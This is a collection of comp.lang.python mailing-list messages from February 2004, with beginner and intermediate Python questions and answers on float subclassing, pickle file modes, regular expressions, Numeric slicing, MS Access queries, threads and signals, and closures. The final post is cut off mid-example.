> unit conversions) but it shows how to extend the constructor of an
> immutable type. If instead of __new__ we had tried to override
> __init__, it wouldn't have worked:
> 
>     >>> class inch(float):
>     ...     "THIS DOESN'T WORK!!!"
>     ...     def __init__(self, arg=0.0):
>     ...         float.__init__(self, arg*0.0254)
>     ...
>     >>> print inch(12)
>     12.0
>     >>> 
> </quote>
> 
> Well, I tried this with Python 2.2.1 and it _does_ work:

No, it doesn't.
> 
> piglet:~$ python
> Python 2.2.1 (#1, Sep  7 2002, 14:34:30)
> [GCC 2.95.4 20011002 (Debian prerelease)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
>>>> class inch(float):
> ...     def __init__(self, arg=0.0):
> ...         float.__init__(self, arg*0.0254)
> ...
>>>> print inch(12)
> 12.0
 
So one inch is one meter?

Python 2.3.3 (#1, Jan  3 2004, 13:57:08)
[GCC 3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> class inch(float):
...     def __new__(cls, v):
...             return float.__new__(cls, v*0.0254)
...
>>> inch(12)
0.30479999999999996

See the difference?

Peter


From tim.one at comcast.net  Tue Feb 24 10:00:06 2004
From: tim.one at comcast.net (Tim Peters)
Date: Tue, 24 Feb 2004 10:00:06 -0500
Subject: cPickle and HIGHEST_PROTOCOL problems
In-Reply-To: <ab4c5633.0402240516.58ed4770@posting.google.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKELBJBAB.tim.one@comcast.net>

[Simon Dahlbacka]
> I'm trying to cache some information using cPickle
> and I thought that using cPickle.HIGHEST_PROTOCOL would give me an
> efficient representation.
>
> However,
>
> when trying to load the information back I just keep getting a broken
> pickle with EOF error from cPicle.load(file('myfile.pickle','r'))
                                                              ^^^

Change that 'rb'.  Also make sure that the file you write the pickle to is
opened with 'wb'.

> if I am not using cPickle.HIGHEST_PROTOCOL  or -1 or 2 it seems to
> work nicely, is this a bug or something else?  (python 2.3.2 on winxp)
                                                                  ^^^^^

Windows distinguishes between text-mode and binary-mode files.  Pickles are
binary data, so files containing pickles must always be opened (for both
writing and reading) in binary mode.  "Mysterious errors" are expected if
you don't.




From jgrahn-nntq at algonet.se  Wed Feb 18 13:40:39 2004
From: jgrahn-nntq at algonet.se (Jorgen Grahn)
Date: Wed, 18 Feb 2004 18:40:39 +0000 (UTC)
Subject: Win32: Running python programs from a Cygwin shell
References: <slrnc2rvbm.eoi.jgrahn-nntq@frailea.sa.invalid>
	<n%QXb.13022$oe6.72@newssvr29.news.prodigy.com>
	<u65e6i753.fsf@fitlinxx.com>
Message-ID: <slrnc37cag.aus.jgrahn-nntq@frailea.sa.invalid>

On 17 Feb 2004 00:53:28 -0500, David Bolen <db3l at fitlinxx.com> wrote:
> JoeSmith <JoeSmith at IDontWantSpam.bogus.bogusaddress.com> writes:
> 
>> You could probably [...]
[lots of useful stuff snipped]

Thanks to both of you.  I'll sit down and go through it again some other
night.  I also note that this isn't really a Python issue but a problem
between CygWin and native Win32-applications, so I'd better ask elsewhere
the next time.

BR,
Jorgen

-- 
  // Jorgen Grahn <jgrahn@      ''If All Men Were Brothers,
\X/                algonet.se>    Would You Let One Marry Your Sister?''


From chunming.luo at synopsys.COM  Thu Feb 12 05:54:50 2004
From: chunming.luo at synopsys.COM (Chunming Luo)
Date: Thu, 12 Feb 2004 18:54:50 +0800
Subject: write a recognizer
In-Reply-To: <c0fiio$nt9$02$1@news.t-online.com>
References: <3e96ebd7.0402120105.14ee6f6d@posting.google.com>
	<c0fiio$nt9$02$1@news.t-online.com>
Message-ID: <402B5B7A.1090606@synopsys.com>

Peter Otten wrote:

>Klaus Neuner wrote:
>
>  
>
>>Hello,
>>
>>I want to write a class Recognizer, like so:
>>
>>class Recognizer(object):
>>
>>    def is_of_category_1(self, token):
>>        if token == 1:
>>            return "1"
>>        else:
>>            return False
>>
>>    def is_of_category_2(self, token):
>>        if token == 2:
>>            return "2"
>>        else:
>>            return False
>>
>>    def recognize(self, token):
>>        for fun in <?>:
>>            result = apply(fun, token)
>>            if result:
>>                return result
>>        return False
>>
>>What do I have to write instead of <?>?
>>Or: How should I design the recognizer, if the above design is not good?
>>
>>Klaus
>>    
>>
>
>The following assumes that all category checker method names start with a
>common prefix. Those are automatically extracted in the __init__() method.
>If you are interested in this technique, I stole it from cmd.py in the
>library. IIRC, the implementation is more complete as it also inspects the
>base classes.
>
>class Recognizer(object):
>    def __init__(self):
>        r = self.recognizers = []
>        for n in dir(self.__class__):
>            if n.startswith("is_"):
>                r.append(getattr(self, n))
>
>    def is_of_category_1(self, token):
>        if token == 1:
>            return "1"
>
>    def is_of_category_2(self, token):
>        if token == 2:
>            return "2"
>
>    def recognize(self, token):
>        # would also work:
>        #for fun in [self.is_of_category_1, self.is_of_category_2]:
>
>        for fun in self.recognizers:
>            result = fun(token)
>            if result:
>                return result
>        return False
>
>if __name__ == "__main__":
>    r = Recognizer()
>    for t in "12341":
>        print r.recognize(int(t)),
>    print
>
>Peter
>

Here is another solution:

        def recongnize(self, token):
                for item in self.__class__.__dict__.keys():
                        method = self.__class__.__dict__[item]
                        if callable(method) and method != 
self.__class__.__dict__["recongnize"]:
                                result = method(self, token)
                                if result:
                                        return result
                return false

-Chunming




From sigurd at 12move.de  Tue Feb 10 12:09:33 2004
From: sigurd at 12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=)
Date: Tue, 10 Feb 2004 18:09:33 +0100
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>
	<m3ad3usiop.fsf@hamster.pflaesterer.de>
	<pan.2004.02.08.14.03.15.475979@no.mail.it>
	<m365ehplku.fsf@hamster.pflaesterer.de>
	<pan.2004.02.10.01.05.20.183909@no.mail.it>
Message-ID: <m31xp2kh2c.fsf@hamster.pflaesterer.de>

On 10 Feb 2004, robsom <- no.mail at no.mail.it wrote:

> Sorry guys, I thank all of you, but I'm a beginner and my knowledge of
> Python is not yet enough to follow you.

If you're interested there's a vrey good mailing list for Python
starters (and others): Python Tutor (I don't know the correct address
ath the momwnr but it should be easy to find on the ython web site).

>>>>> for line in s:
>> ...print ','.join(map(lambda dat: dat != '-9999' and dat or '',
>> line.split())) ...

> As far as I understand you are using a 'map' function to apply the
> function "lambda dat: dat != '-9999' and dat or ''" to the elements
> obtained with "line.split()".

Right.

> First question: shouldn't it be split(line)?

No.  The split method is a method of strings.  Since line is a string
you call here a method of a string object.

> Now, my book says that lambda works by applying (in this example) the
> instructions in "dat != '-9999' and dat or ''" to the dat variable. Does
> this mean that (I'm more or less guessing now) this code splits the line

It gets splitted on spaces.

> assign each element to a dat variable which could have three types of
> value (i.e. its "normal" value or -9999 or a space)? And then you use a

That's nearly right.  This trick with `and' and `or' is necessary since
you can't have statements in Python lambda. Written the above as `if'
statement would be:
if dat != '9999':
    return dat
else:
    return ''

> join functions to put again together the elements yolu have separated with

`join' is here again (like `split') a method of the string object.

> map with a comma as separator? And here I have a second question:
> shouldn't it be "join(map(....),',')" instead of "','.join(map(...))"?

No since join is a method.  If you have an older Python book it may be
written differently.

[...]
> Ok, but before going on, I'd like to know if I understand the code.
> Probably I got it all wrong, but this is quite a few chapters beyond where
> I am now in my book :)

I didn't know you were a beginner otherwise I would have written more
verbosely.  The Tutor list might be the right place for you to start.

> Morevoer I wonder if it is possible to achieve the same thing  without
> using the functional programming.

Yes, but it would be less fun :-)

   KP

-- 
You know you've been sitting in front of your Lisp machine too long
when you go out to the junk food machine and start wondering how to
make it give you the CADR of Item H so you can get that yummie
chocolate cupcake that's stuck behind the disgusting vanilla one.


From wstandley at netpv.com  Wed Feb 18 12:16:31 2004
From: wstandley at netpv.com (Will)
Date: Wed, 18 Feb 2004 17:16:31 GMT
Subject: Py2exe... & hiding propritary stuff in the exe
References: <yToXb.39409$Bb.328706@twister.tampabay.rr.com>
	<mailman.82.1077045334.31398.python-list@python.org>
Message-ID: <P5NYb.10438$jH.32372@twister.tampabay.rr.com>

Your right Dave.. we just want to make it as difficult as we can for the
average user... I guess a determined programmer could de-compile our code if
they really wanted to. So, there is no perfect solution I guess. But, we
want it harder than just selecting all the files and pressing Ctl-C and
Ctl-V :)

Have fun,

Will

"Dave Brueck" <dave at pythonapocrypha.com> wrote in message
news:mailman.82.1077045334.31398.python-list at python.org...
> Will wrote:
> > For example, if I have a propritary graphic/slide and/or short
propritary
> > video that I don't want to be a 'standalone' file... like a jpg or mov
or
> > whatever... as I don't want people to be able to re-distribute the
proteray
> > graphic/movie files w/o my application... will Py2exe or some other tool
or
> > method bury those some way... like keeping them as data in the exe file?
>
> How will that proprietary media be used? I ask because once you go to view
it,
> won't it be completely open and available to the user anyway? (if it's a
jpg,
> then the user could just take a screen shot of it, and if it's a movie,
then
> you either have to make it available on the filesystem so the video player
can
> play it, or go through the non-trivial tasks of streaming the data to the
> player, in which case the player's own DRM scheme may be better as true
media
> access control requires integration with the media sink or player, and not
just
> the transport).
>
> -Dave
>
>
>




From skchim0 at engr.uky.edu  Wed Feb  4 00:42:21 2004
From: skchim0 at engr.uky.edu (Satish Kumar Chimakurthi)
Date: Wed, 4 Feb 2004 00:42:21 -0500 (EST)
Subject: Reading files with names dynamically changing
Message-ID: <Pine.LNX.4.43.0402040036150.21575-100000@skyhawk.ecc.engr.uky.edu>


Hi all,

An external solver program is dynamically producing files with different
names 0000001.dat, 0000002.dat, 0000003.dat etc.....at regular intervals.
These files contain all numeric data. Is it possible to read each of these
dynamically in python ?? If so, how should my code look like ?? If it was
not dynamically required, then, I would change the name of the file in my
*open* statement every time and read the corresponding one. But then, I
need everything to be done automatically without my changing the code.

Can someone help me ??


Thanks,

Best Regards,
Satish





From uwe.schmitt at procoders.net  Thu Feb  5 10:36:11 2004
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 5 Feb 2004 15:36:11 GMT
Subject: boost python  - type conversion
Message-ID: <bvtntb$1e2ii$2@hades.rz.uni-saarland.de>

Hi,

I'd like to wrap a C++ class with a member which returns std::pair<int,int>.
Is there an easy way to force boost to do automitic conversion to a tuple ?

Greetings, Uwe

-- 
Dr. rer. nat. Uwe Schmitt   http://www.procoders.net                      
schmitt at procoders.net      "A service to open source is a service to mankind."


From matt.gerrans at hp.com  Thu Feb 26 20:31:12 2004
From: matt.gerrans at hp.com (Matt Gerrans)
Date: Fri, 27 Feb 2004 01:31:12 GMT
Subject: PythonCOM
References: <qGt%b.21733$W74.3574@newsread1.news.atl.earthlink.net>
Message-ID: <A5x%b.1204$FT.638@news.cpqcorp.net>

There is a book: Python Programming on Win32 by Andy Robinson and Mark
Hammond, published by O'Reilly and Associates.




From fumanchu at amor.org  Tue Feb 24 14:34:07 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 24 Feb 2004 11:34:07 -0800
Subject: Regular expressions help
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561DA6@opus.amorhq.net>

Mike Hearne wrote:
> Given the following three lines:
> 
> name fredgeorge
> name georgeharry
> name george
> 
> I'm trying to find a regular expression that matches only the third
> one.

>>> import re
>>> t = 'name fredgeorge\nname georgeharry\nname george'
>>> pattern = '(?<!\w)george(?!\w)'
>>> m = re.search(pattern, t)
>>> m.span()
(38, 44)

HTH. Basic interpretation is we search for 'george' that is neither
preceded by, nor followed by, a word character. Not that this allows
'george' to be followed by EOF.

FuManChu



From feb04.20.netman at spamgourmet.com  Sat Feb 28 12:18:09 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Sat, 28 Feb 2004 17:18:09 GMT
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
	<c1qh1b$cm5$1@panix1.panix.com>
Message-ID: <l340c.5814$qX5.4145@nwrdny03.gnilink.net>

Tried it earlier, same result.

Chris

"Aahz" wrote:

> IIRC, __getattribute__ may do what you want, but I don't have time to
> check.
> -- 
> Aahz (aahz at pythoncraft.com)           <*>
http://www.pythoncraft.com/
>
> "Do not taunt happy fun for loops. Do not change lists you are looping
over."
> --Remco Gerlich, comp.lang.python




From peter at engcorp.com  Thu Feb 12 13:40:45 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 12 Feb 2004 13:40:45 -0500
Subject: How to avoid "f.close" (no parens) bug?
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
	<402B85BE.A73089C5@engcorp.com>
	<mailman.11.1076607453.698.python-list@python.org>
Message-ID: <402BC8AD.A544F416@engcorp.com>

Paul Prescod wrote:
> 
> But I might write
> 
>    foo(bar[0].doSomething)

Good point.  Given that this is much more likely to be deliberate,
it's also more likely to occur as a mistake for those of us who
would "never" write f.close accidentally.

I also leave off the odd colon, though I believe that's the only
such error I've made more than maybe once with Python.  Never left
quotes off anything that was supposed to have them, unless it was
strictly a slip of the finger (instead of the mind).

-Peter


From mwh at python.net  Thu Feb 19 07:41:30 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 19 Feb 2004 12:41:30 GMT
Subject: control-c and threads, signals in 2.3 causing all sorts of
 issues
References: <mailman.30.1077138471.27104.python-list@python.org>
Message-ID: <m3n07fi6md.fsf@pc150.maths.bris.ac.uk>

Srikanth Mandava <Srikanth.Mandava at cosinecom.com> writes:

> 	Hi!
> 
> 	 When a signal handler is registered in the main thread and
> 	 "control-c" is entered, the child thread is getting the
> 	 KeyboardInterrupt exception(The documentation says the main thread
> 	 MUST receive the signal handler function call if handler is
> 	 registered). 

Hmm.  Threads + signals == mwh running off screaming...

> 	 In python 2.2.1 the main thread was always called with
> 	 the sigint signal handler which was registered. In my case the
> 	 child thread is waiting on stdin using "raw_input" function. This
> 	 seems to be causing all sorts of strange behavior in the program
> 	 once the child thread gets the keyboardinterrupt exception and
> 	 eventually leading to seg fault on a sys exit .

Oh oh, if you're using raw_input(), readline might be getting
involved...

> 	 Any idea why this is happening in 2.3.1? This scenario worked in
> 	 2.2.1. Is this fixed in 2.3.2?.

Is this thread relavent?

http://groups.google.com/groups?threadm=a6562e06.0401061844.3269da85%40posting.google.com

OS, libc and versions of same might be useful, too.

Cheers,
mwh

-- 
  I located the link but haven't bothered to re-read the article,
  preferring to post nonsense to usenet before checking my facts.
                                      -- Ben Wolfson, comp.lang.python


From matt.gerrans at hp.com  Fri Feb 27 18:33:09 2004
From: matt.gerrans at hp.com (Matt Gerrans)
Date: Fri, 27 Feb 2004 23:33:09 GMT
Subject: I just don't get it
References: <3b3f63ed.0402271516.55d3781e@posting.google.com>
Message-ID: <VsQ%b.1270$XH1.807@news.cpqcorp.net>

Try comparing apples and apples:

>>> (176L,) > (300,)
False




From gerrit at nl.linux.org  Thu Feb  5 14:48:30 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Thu, 5 Feb 2004 20:48:30 +0100
Subject: [ANN]PyCrash 0.2 released
In-Reply-To: <a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
	<a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
Message-ID: <20040205194830.GA5788@nl.linux.org>

Carmine Noviello wrote:
> > Sounds great but... Why GPL (and not python)? It will prevent a lot of 
> > us working grunts from using the module in the Commanie's code... And we 
> > want MORE python!
> > my 0.5c
> 
> I have chosen the GPL without any special reason: I know it and so I
> simply used it.

You may want to use LGPL for libraries.

Don't know how difficult changing a license is, though.

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From parker at gol.com  Sat Feb  7 06:23:55 2004
From: parker at gol.com (Ian Parker)
Date: Sat, 7 Feb 2004 11:23:55 +0000
Subject: MS Access datatype mismatch error
References: <mailman.1282.1076033483.12720.python-list@python.org>
Message-ID: <GgvjqfDLrMJAFwRm@hiredata.gol.com>

In article <mailman.1282.1076033483.12720.python-list at python.org>, Steve 
Briley <sdb1031 at hotmail.com> writes
>I'm new to Python and I'm trying to do some database work with
>MS Access, but I can't seem to get around a "datatype mismatch
>error".? Here's an example table that I'm working with...
>?
>ID????? name??? dept
>1?????? steve?? acct
>2?????? mike??? acct
>3?????? george? payroll
>4?????? frank?? payroll
>
>>>> import win32com.client
>>>> engine = win32com.client.Dispatch("DAO.DBEngine.36")
>>>> db = engine.OpenDatabase(r"c:\python-access\db4.mdb")
>>>> rs3 = db.OpenRecordset("work")
>
>>>>rs3 = db.OpenRecordset("select * from work where ID = 3 ")
>>>>dept = rs3.Fields("dept")
>>>>print dept
>payroll
>
>The above does exactly what I want, except I'd like to use a
>variable instead of the number 3.? When I try I get the following...
>
>>>>idnum = 3
>>>>rs3 = db.OpenRecordset("select * from work where ID = '%i'"
>%(idnum))
>
>Traceback (most recent call last):
>? File "<interactive input>", line 1, in ?
>? File
>"win32com\gen_py\00025E01-0000-0000-C000-000000000046x0x5x0.py",
>line 508, in OpenRecordset
>??? ret = self._oleobj_.InvokeTypes(1610809383, LCID, 1, (9, 0), ((8,
>1), (12, 17), (12, 17), (12, 17)),Name, Type, Options, LockEdit)
>com_error: (-2147352567, 'Exception occurred.', (0,
>'DAO.Database', 'Data type mismatch in criteria expression.',
>'jeterr40.chm', 5003464, -2146824824), None)
>
>The data type for the ID field in the table is "number" so why am I
>recieving the datatype mismatch error? I'd really appreciate some
>help, if anyone has any suggestions.? Thanks!
>
>
>Choose now from 4 levels of MSN Hotmail Extra Storage - no more
>account overload!

Perhaps you don't need the single quotes around %i.  e.g. try:
 >>>rs3 = db.OpenRecordset("select * from work where ID = %i" % (idnum))

Regards
-- 
Ian Parker


From wweston at att.net  Sat Feb 21 17:39:29 2004
From: wweston at att.net (wes weston)
Date: Sat, 21 Feb 2004 22:39:29 GMT
Subject: Strange (for a newbie) problem
In-Reply-To: <mailman.142.1077383087.27104.python-list@python.org>
References: <mailman.142.1077383087.27104.python-list@python.org>
Message-ID: <B6RZb.27753$aH3.880846@bgtnsc04-news.ops.worldnet.att.net>

Angelo,
    Yes, more info is needed. One thing that could move
your error to a latter line and confuse you is that you
can "multiply" strings.

 >>> x='5'
 >>> print 6*x
555555
 >>> print type(x)
<type 'str'>

wes

Angelo Secchi wrote:
> I'm experiencing the following problem. 
> I have a python script analyses.py where a certain point I have to
> define a variable called 'code' like:
> 
> code=151
> 
> The program works fine but if I change that line in 'code=sys.argv[1]'
> using the sys module in order to give to the program that code as a
> parameter (i.e. I then run this script as "python analyses.py 151" from
> the shell) then the program returns an error complaining that a certain
> variable different from code is not defined.
> 
> What is my mistake?
> Thanks
> angelo
> 
>  
> 



From maarten at remove_this_ws.tn.tudelft.nl  Wed Feb  4 09:35:33 2004
From: maarten at remove_this_ws.tn.tudelft.nl (Maarten van Reeuwijk)
Date: Wed, 04 Feb 2004 15:35:33 +0100
Subject: How to slice range of array along a (a-priori unknown) axis?
Message-ID: <bvqvvl$8u2$1@news.tudelft.nl>

Hello,

I am using the Numeric package, and I need to strip edge cells off an array
(dimension unknown) in an a-priori unknown direction. I implented this as
follows:

def el_remove_bcells(var, axis):
   """ elementary routine to strip the edge cells of an array for the given
       direction.
   """

   if axis == 0:
      return var[1:-1]
   if axis == 1:
      return var[:, 1:-1]
   else:
      return var[:, :,1:-1]

But this only works for at most 3D arrays. It must be possible to program
this fragment without the ifs, for arrays of arbitrary dimension. Is there
a command in the Numerical package I can use for this? It is very important
that this method is very fast, as my arrays normally are in the order of
100 Mb. 

TIA, Maarten

-- 
===================================================================
Maarten van Reeuwijk                    Thermal and Fluids Sciences
Phd student                             dept. of Multiscale Physics
www.ws.tn.tudelft.nl                 Delft University of Technology


From artur_spruce at yahoo.com  Tue Feb 10 05:30:44 2004
From: artur_spruce at yahoo.com (AdSR)
Date: 10 Feb 2004 02:30:44 -0800
Subject: Allowing non-ASCII identifiers
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net><4027EAC5.2090603@prescod.net>
	<402806A4.6020502@v.loewis.de>
	<mailman.1391.1076369629.12720.python-list@python.org>
	<102geglh6cprm45@news.supernews.com>
Message-ID: <b840abf4.0402100230.298b33c8@posting.google.com>

"John Roth" <newsgroups at jhrothjr.com> wrote in message news:<102geglh6cprm45 at news.supernews.com>...
> I'm all in favor of going to unicode all the way. I'd like to
> have the proper mathematical symbols for logical and set
> operations, as well as integer divide. They're all there in the
> unicode character set, after all; why should we have to
> settle for archaic character restrictions?

Java allows for Unicode identifiers and I'm yet to see a single source
file that uses anything but ASCII. Actually, so far I have only seen
non-ASCII in Polish Logo many years ago, and that was only for
educational purposes.

As a non-native English speaker, coming from Polish and Portuguese
background, I could argue in favor of non-ASCII identifiers, but I'm
against them. Do we really need those? Even if program output is in
Polish, all my code is "identified" and commented in English, which I
think of as of a good habit. (With exception of HTML, where comments
are closely related to content.)

I don't have any _really_ solid reasons against Unicode identifiers,
except for simplicity. It's just the way I feel about programming.

On a side note, one place where I think non-ASCII really should be
avoided are domain names, something that is being much debated
recently.

AdSR


From mcfletch at rogers.com  Wed Feb 11 04:37:45 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 11 Feb 2004 04:37:45 -0500
Subject: hide sourcecode
In-Reply-To: <6q4qtyc6jt.fsf@salmakis.intevation.de>
References: <bvtm5f$pgq$00$1@news.t-online.com>	<bvtpsp$126$1@news.service.uci.edu>	<mailman.1261.1076006359.12720.python-list@python.org>	<bvu6m3$cg1$1@news.service.uci.edu>	<84fc4588.0402052351.5fc254ae@posting.google.com>	<40294aa5$7@giga.realtime.net>
	<6q4qtyc6jt.fsf@salmakis.intevation.de>
Message-ID: <4029F7E9.6030704@rogers.com>

Bernhard Herzog wrote:
...

>As usual Python comes with batteries included:
>
># -*- coding=rot13 -*-
>
>cevag "uryyb ebg13 jbeyq"
>  
>
cevag h"uryyb ebg13 jbeyq"

Don't you mean?

Nice trick, btw, especially what happens if you include a syntax error 
(translated to un-encoded :) ).

Have fun,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From simoninusa2001 at yahoo.co.uk  Fri Feb 20 22:35:00 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 20 Feb 2004 19:35:00 -0800
Subject: mcmillan installer web site
References: <mailman.122.1077308895.27104.python-list@python.org>
Message-ID: <30260531.0402201935.5413b34a@posting.google.com>

"mark" <mark at diversiform.com> wrote:

> Here's Gordon's mail from the Installer mail list:
> 
> 	My host was acquired & the transition wasn't managed very well.
> Should 	be back pretty soon.
> 
> 	-- Gordon
> 
> 
> - Mark

I'll take my copy down in a bit then.

I can't seem to get to the list site even:

    http://trixie.triqs.com/mailman/listinfo/installer


From Pieter.Claerhout at Creo.com  Wed Feb 25 06:18:22 2004
From: Pieter.Claerhout at Creo.com (Pieter Claerhout)
Date: Wed, 25 Feb 2004 12:18:22 +0100
Subject: checksum 
Message-ID: <490316A24CC5D411ACD700B0D078F7F003915F0A@cseexch01.cse.creoscitex.com>

The sha or md5 modules are able to do checksums. You can also use zlib.crc32
or zlib.adler32 to generate CRCs. More info on:

http://www.python.org/doc/current/lib/module-md5.html
http://www.python.org/doc/current/lib/module-sha.html
http://www.python.org/doc/current/lib/module-zlib.html

Cheers,


pieter

Creo
pieter claerhout | product support prinergy | tel: +32 2 352 2511 |
pieter.claerhout at creo.com | www.creo.com

IMAGINE CREATE BELIEVE(tm)


-----Original Message-----
From: python-list-bounces+pieter.claerhout=creo.com at python.org
[mailto:python-list-bounces+pieter.claerhout=creo.com at python.org] On Behalf
Of Geiregat Jonas
Sent: 25 February 2004 11:55
To: python-list at python.org
Subject: checksum 


I've written a small app to share data in a lan.
I would like to be able to do some kind of checksum checking on the 
files. How could this be implemented ?
-- 
http://mail.python.org/mailman/listinfo/python-list



From guido at python.org  Sat Feb 21 02:37:22 2004
From: guido at python.org (guido at python.org)
Date: Sat, 21 Feb 2004 08:37:22 +0100 (CET)
Subject: (no subject)
Message-ID: <200402210737.i1L7bMD9052138@mxzilla3.xs4all.nl>




From sebb at linuxcult.com  Mon Feb  2 17:10:58 2004
From: sebb at linuxcult.com (sebb)
Date: 2 Feb 2004 14:10:58 -0800
Subject: Produce anti-noise
Message-ID: <56f42e53.0402021410.5f2b2d93@posting.google.com>

I want to know if the is a way to do something in python to produce
some anti-noise (i.e. I talk in the microphone and the sound go out by
the speakers but with inversed phase).

So I want to know how to control the microphone and to add some sort
of effect to the sound that enter in and to put it out with that
effect and all this at the same time.


Thanks


From steve at ferg.org  Fri Feb  6 14:54:48 2004
From: steve at ferg.org (Stephen Ferg)
Date: 6 Feb 2004 11:54:48 -0800
Subject: Best Beginner's Guide To Python?
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
Message-ID: <b16e4ef7.0402061154.16d63a6e@posting.google.com>

You might look at 

http://www.ferg.org/python_intro/wd_python_intro/index.html


From christht at tihlde.org  Fri Feb 20 15:51:07 2004
From: christht at tihlde.org (Christian Haugan Toldnes)
Date: Fri, 20 Feb 2004 20:51:07 +0000 (UTC)
Subject: Installing RPM rebuild and failed dependency
References: <mailman.120.1077304877.27104.python-list@python.org>
Message-ID: <slrnc3csnq.6af.christht@colargol.tihlde.org>

Brent L Johnson wrote:
> 
> Any ideas?

install the source rpm, edit the spec file and make sure python is built
against the local db4 library and knows where it is.

Why can't you use the db4 packages included in RH9?


c



From No.Spam.mc at No.Spam.mclaveau.No.Spam.com  Wed Feb 25 04:27:36 2004
From: No.Spam.mc at No.Spam.mclaveau.No.Spam.com (Michel Claveau/Hamster)
Date: Wed, 25 Feb 2004 10:27:36 +0100
Subject: PIL => clipboard ?
Message-ID: <c1hpqm$3n5$1@news-reader2.wanadoo.fr>

Hi !

PIL is great ; ImageGrab.grabclipboard() is fun for my concern of the moment
; but I dream too of the reverse function.

Do you know a means to send an image, from PIL, in the clipboard ?

Thanks
--
Michel Claveau






From dontbotherworld at yahoo.com  Sun Feb 22 18:10:10 2004
From: dontbotherworld at yahoo.com (dont bother)
Date: Sun, 22 Feb 2004 15:10:10 -0800 (PST)
Subject: Help With  EOF character: URGENT
Message-ID: <20040222231010.92754.qmail@web60808.mail.yahoo.com>

Hi Buddies,
I am facing this problem and I dont know what to use
as EOF in python:
I want to read a file, and put all the individual
words in a dictionary with their index:
For example if the file is:

Hello there I am doing fine
How are you?

So I want to make an index like this:

1 Hello
2 there
3 I
4 am
5 doing
6 fine
7 How
8 are
9 you
10 ?

In order to do this: I have written a small code which
is here:
-------------------------------------------------------
# python code for creating dictionary of words from an
#input file
------------------------------------------------------

import os
import sys
try:
        fread = open('training_data', 'r')
except IOError:
        print 'Cant open file for reading'
        sys.exit(0)
print 'Okay reading the file'
s=""
a=fread.read(1)
while (a!="\003"):
#while 1:
                s=s+a

                if(a=='\012'): #newline
                        #print s
                        #print 'The Line Ends'
                        fwrite=open('dictionary', 'a')
                        fwrite.write(s)
                        s=""


if(a=='\040'): #blank character
                        #print s
                        fwrite=open('dictionary', 'a')
                        fwrite.write(s)
                        fwrite.write("\n")
                        s=""
                a=fread.read(1)
                
print 'Wrote to Dictionary\n'
fwrite.close()
fread.close()


---------------------------------------------------

My problem is that I dont know what to use in place of
EOF. I have tried using Octal "\003" and "\004" but
that does not work. The code keeps on running. I want
it to stop reading when the EOF has reached.
Can someone help me out on this?
Also, I have to create a list: (A Map kind of thing
with an index associated with each word). Can some one
offer a tip or snippet on that.
I will be really grateful.

Thanks
Dont


__________________________________
Do you Yahoo!?
Yahoo! Mail SpamGuard - Read only the mail you want.
http://antispam.yahoo.com/tools



From mwh at python.net  Thu Feb 26 08:08:42 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 26 Feb 2004 13:08:42 GMT
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
	<m3vflvdo9u.fsf@pc150.maths.bris.ac.uk>
	<tyfk72amei6.fsf@pcepsft001.cern.ch>
Message-ID: <m3vfluc7ja.fsf@pc150.maths.bris.ac.uk>

Jacek Generowicz <jacek.generowicz at cern.ch> writes:

> Michael Hudson <mwh at python.net> writes:
> 
> > Jacek Generowicz <jacek.generowicz at cern.ch> writes:
> > 
> > > Aaah, OK, _if_ you think that closures are _only_ a way of faking
> > > objects, _then_ claiming that Python is primarily OO does have a
> > > bearing on the use of closures. Forgive me for not pursuing
> > > this tangent any further.
> > 
> > OK, you really hadn't seen this argument before.  You must be new here
> > :-) (or at least, new to this particular dispute).
> 
> Yes, I usually switch off rather early in the "Python purity vs
> whatever" threads, 

Me too.  I wonder why we're both still in this one?

[...]
> > (trivially, you never *need* closures, just the same as you don't
> > *need* objects, there's a rather dull and unhelpful isomorphism
> > between the two concepts).
> 
> Yes, and we all know about Turing equivalence too. So we don't need
> Python at all.

Indeed.  Break out the infinitely long tapes.  But it does make "need"
a difficult word, is all.

> > > Sure. I have some stateful methods of classes (which I create
> > > dynamically and stick onto the class as the information about the
> > > existence of the method becomes available). By implementing them as
> > > closures I can just stick them on to the class. If I were to implement
> > > them as instances then I'd have to reimplement all the descriptors
> > > that take care of turning functions into bound or unbound methods.
> > 
> > Which isn't that hard...
> 
> It's not hard, but it's pointless, when there are ways of getting it
> for free.
> 
> > I think a code example might lend a bit more clarity.
> 
> What's unclear about it?  I get the impression that you understand
> exactly what the point is.

Well, now we're even on assuming too much about the other's
comprehension front :-)

> >>> class foo: pass
> ... 
> >>> class callable:
> ...     def __call__(self): print self
